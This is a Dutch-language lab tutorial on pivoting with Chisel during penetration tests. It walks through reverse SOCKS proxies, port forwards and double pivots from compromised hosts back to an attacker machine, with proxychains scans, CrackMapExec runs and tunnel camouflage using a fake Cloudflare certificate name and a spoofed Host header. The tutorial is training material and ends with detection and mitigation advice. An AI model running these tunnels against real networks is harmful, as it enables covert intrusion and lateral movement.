Chisel Tunneling Lab

Chisel is een van de meest veelzijdige tools voor het opzetten van tunnels tijdens penetratietests. Het tunnelt TCP-verkeer over HTTP/WebSocket-verbindingen, waardoor het door de meeste firewalls en proxies heen komt. In deze tutorial bouwen we een lab met drie netwerksegmenten en oefenen we met forward tunnels, reverse tunnels, SOCKS proxies en double pivoting.

Niveau: Expert

Let op — Tunneling-technieken mogen uitsluitend worden toegepast binnen geautoriseerde penetratietests. Gebruik deze kennis verantwoord.

Vereisten

Lab Architectuur

Drie netwerksegmenten

                                     INTERNET
                                         |
                                    [Firewall]
                                         |
    ========== NETWERK 1 (DMZ): 10.10.10.0/24 ==========
                    |
               [PIVOT-1]          [Kali Aanvaller]
             10.10.10.100          10.10.10.50
             172.16.1.100
                    |
    ========== NETWERK 2 (INTERN): 172.16.1.0/24 ==========
                    |
               [PIVOT-2]          [WEBSERVER]
             172.16.1.200          172.16.1.150
             192.168.50.200
                    |
    ========== NETWERK 3 (RESTRICTED): 192.168.50.0/24 ==========
                    |
               [DATABASE]
             192.168.50.100

VM Configuratie

VM Adapters IP-adressen Rol
Kali Host-Only 1 10.10.10.50 Aanvalsmachine
PIVOT-1 Host-Only 1 + Host-Only 2 10.10.10.100, 172.16.1.100 Eerste pivot
WEBSERVER Host-Only 2 172.16.1.150 Interne webserver
PIVOT-2 Host-Only 2 + Host-Only 3 172.16.1.200, 192.168.50.200 Tweede pivot
DATABASE Host-Only 3 192.168.50.100 Database server

VirtualBox-netwerken configureren

# Maak drie Host-Only netwerken aan
VBoxManage hostonlynet add --name=DMZ --netmask=255.255.255.0 --lower-ip=10.10.10.1 --upper-ip=10.10.10.254
VBoxManage hostonlynet add --name=Internal --netmask=255.255.255.0 --lower-ip=172.16.1.1 --upper-ip=172.16.1.254
VBoxManage hostonlynet add --name=Restricted --netmask=255.255.255.0 --lower-ip=192.168.50.1 --upper-ip=192.168.50.254

Chisel Architectuur

Hoe Chisel werkt

Chisel is een client-server tool die TCP-tunnels opzet over HTTP/WebSocket:

Tunneltypen

Forward tunnel:  CLIENT_PORT:REMOTE_HOST:REMOTE_PORT
   (client luistert lokaal, forwardt naar remote)

Reverse tunnel:  R:SERVER_PORT:REMOTE_HOST:REMOTE_PORT
   (server luistert, forwardt naar host bereikbaar vanuit client)

Reverse SOCKS:   R:socks
   (server opent SOCKS proxy, traffic gaat via client)

Chisel installeren

# Op Kali (aanvalsmachine)
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz
chmod +x chisel_linux_amd64
sudo mv chisel_linux_amd64 /usr/local/bin/chisel

# Voor Windows-doelen
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_windows_amd64.gz
gunzip chisel_windows_amd64.gz

IB — Gebruik de commando’s get_chisel (Windows) en get_chisel_linux (Linux) om Chisel snel te downloaden naar je doelsysteem via de IB HTTP-server.

Lab VMs Opzetten

Services installeren op doelmachines

# Op PIVOT-1 (10.10.10.100 / 172.16.1.100):
sudo apt install openssh-server nginx -y
# SSH draait op poort 22, Nginx op poort 80

# Op WEBSERVER (172.16.1.150):
sudo apt install apache2 php -y
echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php

# Op PIVOT-2 (172.16.1.200 / 192.168.50.200):
sudo apt install openssh-server -y

# Op DATABASE (192.168.50.100):
sudo apt install mysql-server -y
sudo mysql -e "CREATE USER 'dbadmin'@'%' IDENTIFIED BY 'SecretDB!';"
sudo mysql -e "GRANT ALL PRIVILEGES ON *.* TO 'dbadmin'@'%';"
sudo sed -i 's/bind-address.*/bind-address = 0.0.0.0/' /etc/mysql/mysql.conf.d/mysqld.cnf
sudo systemctl restart mysql

IP-routing uitschakelen

Zorg dat de pivot-machines NIET automatisch routen:

# Op PIVOT-1 en PIVOT-2:
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward

Scenario 1: Reverse SOCKS Proxy (Single Pivot)

Het meestgebruikte scenario: je hebt toegang tot PIVOT-1 en wilt het interne netwerk scannen.

Stap 1: Chisel server starten op aanvalsmachine

# Op Kali (10.10.10.50):
chisel server --reverse --port 8080

De --reverse vlag is essentieel: het staat de client toe om reverse tunnels aan te vragen.

Stap 2: Chisel client starten op PIVOT-1

# Op PIVOT-1 (10.10.10.100):
./chisel client 10.10.10.50:8080 R:socks

Dit opent een SOCKS5 proxy op de aanvalsmachine (standaard poort 1080).

Stap 3: Proxychains configureren

# Op Kali, bewerk /etc/proxychains4.conf:
# Verwijder of comment bestaande proxy entries
# Voeg onderaan toe:
# [ProxyList]
# socks5 127.0.0.1 1080

Stap 4: Het interne netwerk verkennen

# Scan het interne netwerk via proxychains
proxychains nmap -sT -Pn -p 22,80,443,3306,445,3389 172.16.1.0/24

# Curl naar de interne webserver
proxychains curl http://172.16.1.150/info.php

# CrackMapExec via de tunnel
proxychains crackmapexec smb 172.16.1.0/24

IB — Het commando net_chisel_tunnel in de IB command library bevat de volledige syntax voor zowel server als client, inclusief SOCKS proxy, port forwards en multi-tunnel configuraties.

Belangrijk: proxychains beperkingen

# WERKT: TCP connect scan
proxychains nmap -sT -Pn target

# WERKT NIET: SYN scan (vereist raw sockets)
# proxychains nmap -sS target  # Dit faalt!

# WERKT NIET: ICMP/ping
# proxychains ping target  # Dit faalt!

Scenario 2: Reverse Port Forward (Specifieke Dienst)

Soms wil je een specifieke poort forwarden in plaats van een volledige SOCKS proxy.

MySQL forwarden

# Op Kali: server starten
chisel server --reverse --port 8080

# Op PIVOT-1: forward MySQL van intern naar aanvaller
./chisel client 10.10.10.50:8080 R:3306:172.16.1.150:3306

# Nu bereikbaar op Kali:
mysql -h 127.0.0.1 -P 3306 -u dbadmin -p

Meerdere poorten tegelijk

# Forward meerdere services in een commando
./chisel client 10.10.10.50:8080 \
    R:8080:172.16.1.150:80 \
    R:3306:172.16.1.150:3306 \
    R:2222:172.16.1.200:22

Scenario 3: Double Pivot (Twee Hops)

Het complexste scenario: je moet door twee netwerksegmenten heen om de database te bereiken.

Architectuur

Kali ----[chisel]----> PIVOT-1 ----[chisel]----> PIVOT-2 ----> DATABASE
10.10.10.50           10.10.10.100              172.16.1.200   192.168.50.100
                      172.16.1.100              192.168.50.200

Stap 1: Eerste tunnel (Kali naar PIVOT-1)

# Op Kali: start chisel server
chisel server --reverse --port 8080

# Op PIVOT-1: maak reverse SOCKS proxy
./chisel client 10.10.10.50:8080 R:1080:socks

Stap 2: Tweede chisel server op PIVOT-1

# Op PIVOT-1: start een tweede chisel server (voor de tweede hop)
./chisel server --reverse --port 9090

Stap 3: Tweede tunnel (PIVOT-1 naar PIVOT-2)

# Op PIVOT-2: verbind met chisel server op PIVOT-1
./chisel client 172.16.1.100:9090 R:1081:socks

Stap 4: Proxychains met dubbele proxy

# Bewerk /etc/proxychains4.conf op Kali:
# Gebruik "strict_chain" voor double pivot
# [ProxyList]
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081

Maar wacht: poort 1081 draait op PIVOT-1, niet op Kali. We moeten dit forwarden.

Stap 3b: Forward de tweede SOCKS proxy naar Kali

# Pas de eerste tunnel aan om ook poort 1081 te forwarden
# Op PIVOT-1:
./chisel client 10.10.10.50:8080 R:1080:socks R:1081:127.0.0.1:1081

Of gebruik een alternatieve aanpak met SSH:

# Op Kali: forward poort 1081 van PIVOT-1 naar lokaal
proxychains ssh -N -L 1081:127.0.0.1:1081 user@172.16.1.100

Stap 5: Verifieer dubbele pivot

# Bereik de database via twee hops
proxychains mysql -h 192.168.50.100 -u dbadmin -p

# Scan het restricted netwerk
proxychains nmap -sT -Pn -p 3306,22,80 192.168.50.0/24

Scenario 4: Chisel met Authenticatie en TLS

In een red team-scenario wil je de tunnel beveiligen en camoufleren.

Met authenticatie

# Server met authenticatie
chisel server --reverse --port 443 --auth admin:Geheim123

# Client met authenticatie
./chisel client --auth admin:Geheim123 10.10.10.50:443 R:socks

Met TLS (HTTPS)

# Genereer self-signed certificaat
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
    -subj "/CN=cdn.cloudflare.com"

# Server met TLS
chisel server --reverse --port 443 --tls-key key.pem --tls-cert cert.pem

# Client via HTTPS (skip verify voor self-signed)
./chisel client --tls-skip-verify https://10.10.10.50:443 R:socks

Opsec-overwegingen

# Gebruik een keepalive om de verbinding stabiel te houden
./chisel client --keepalive 30s 10.10.10.50:8080 R:socks

# Gebruik een custom host header (domain fronting-achtig)
./chisel client --header "Host: legit-domain.com" 10.10.10.50:443 R:socks

Scenario 5: Combinatie met SSH Tunnels

Soms is Chisel niet beschikbaar of wil je SSH combineren met Chisel.

SSH SOCKS proxy als alternatief

# Dynamische SOCKS proxy via SSH
ssh -N -D 127.0.0.1:1080 user@10.10.10.100

# SSH port forward voor specifieke dienst
ssh -N -L 3306:172.16.1.150:3306 user@10.10.10.100

# SSH double hop met ProxyJump
ssh -J user@10.10.10.100 user@172.16.1.200

IB — Het commando tunnel_ssh_socks bevat de volledige SSH tunneling syntax, inclusief dynamic port forwarding, local forwards, remote forwards en multi-hop configuraties.

Chisel via SSH tunnel

# Eerst SSH tunnel naar PIVOT-1
ssh -N -L 9090:172.16.1.200:9090 user@10.10.10.100 &

# Dan chisel client naar PIVOT-2 via de SSH tunnel
chisel server --reverse --port 9090
# Op PIVOT-2: chisel client 172.16.1.100:9090 R:socks
# De SOCKS proxy is nu bereikbaar via de SSH forward

Troubleshooting

Veel voorkomende problemen

# Probleem: "connection refused"
# Oplossing: check of de chisel server draait en de poort open is
ss -tlnp | grep chisel
sudo iptables -L -n

# Probleem: proxychains timeout
# Oplossing: verhoog timeout in proxychains.conf
# tcp_read_time_out 30000
# tcp_connect_time_out 20000

# Probleem: chisel client disconnects
# Oplossing: gebruik --keepalive
./chisel client --keepalive 25s 10.10.10.50:8080 R:socks

# Probleem: DNS werkt niet via proxychains
# Oplossing: gebruik proxy_dns in proxychains.conf
# proxy_dns
# Of specificeer IP-adressen in plaats van hostnamen

Performance-tips

# Gebruik TCP connect scans in plaats van SYN scans
proxychains nmap -sT -Pn --top-ports 100 TARGET

# Beperk parallelle verbindingen
proxychains nmap -sT -Pn --max-parallelism 5 TARGET

# Gebruik snelle tools via de tunnel
proxychains crackmapexec smb 172.16.1.0/24 --gen-relay-list relay.txt

Detectie en Mitigatie

Detectie-indicatoren

Mitigatie

  1. Egress filtering — Beperk uitgaand verkeer tot bekende bestemmingen
  2. SSL/TLS inspectie — Inspecteer versleuteld verkeer op tunneling
  3. Application whitelisting — Voorkom uitvoering van onbekende binaries
  4. Network segmentation — Beperk laterale beweging met strikte firewallregels
  5. Monitoring — Detecteer anomaal netwerkverkeer met IDS/IPS

Samenvatting

Chisel is een onmisbare tool voor pivoting tijdens penetratietests. De belangrijkste punten uit deze tutorial:

IB — Alle tunnel-gerelateerde commando’s staan in de IB command library: net_chisel_tunnel voor Chisel, tunnel_ssh_socks voor SSH, tunnel_plink voor Windows, en tunnel_netsh voor netsh port proxying. Gebruik man_chisel voor de volledige Chisel-referentie.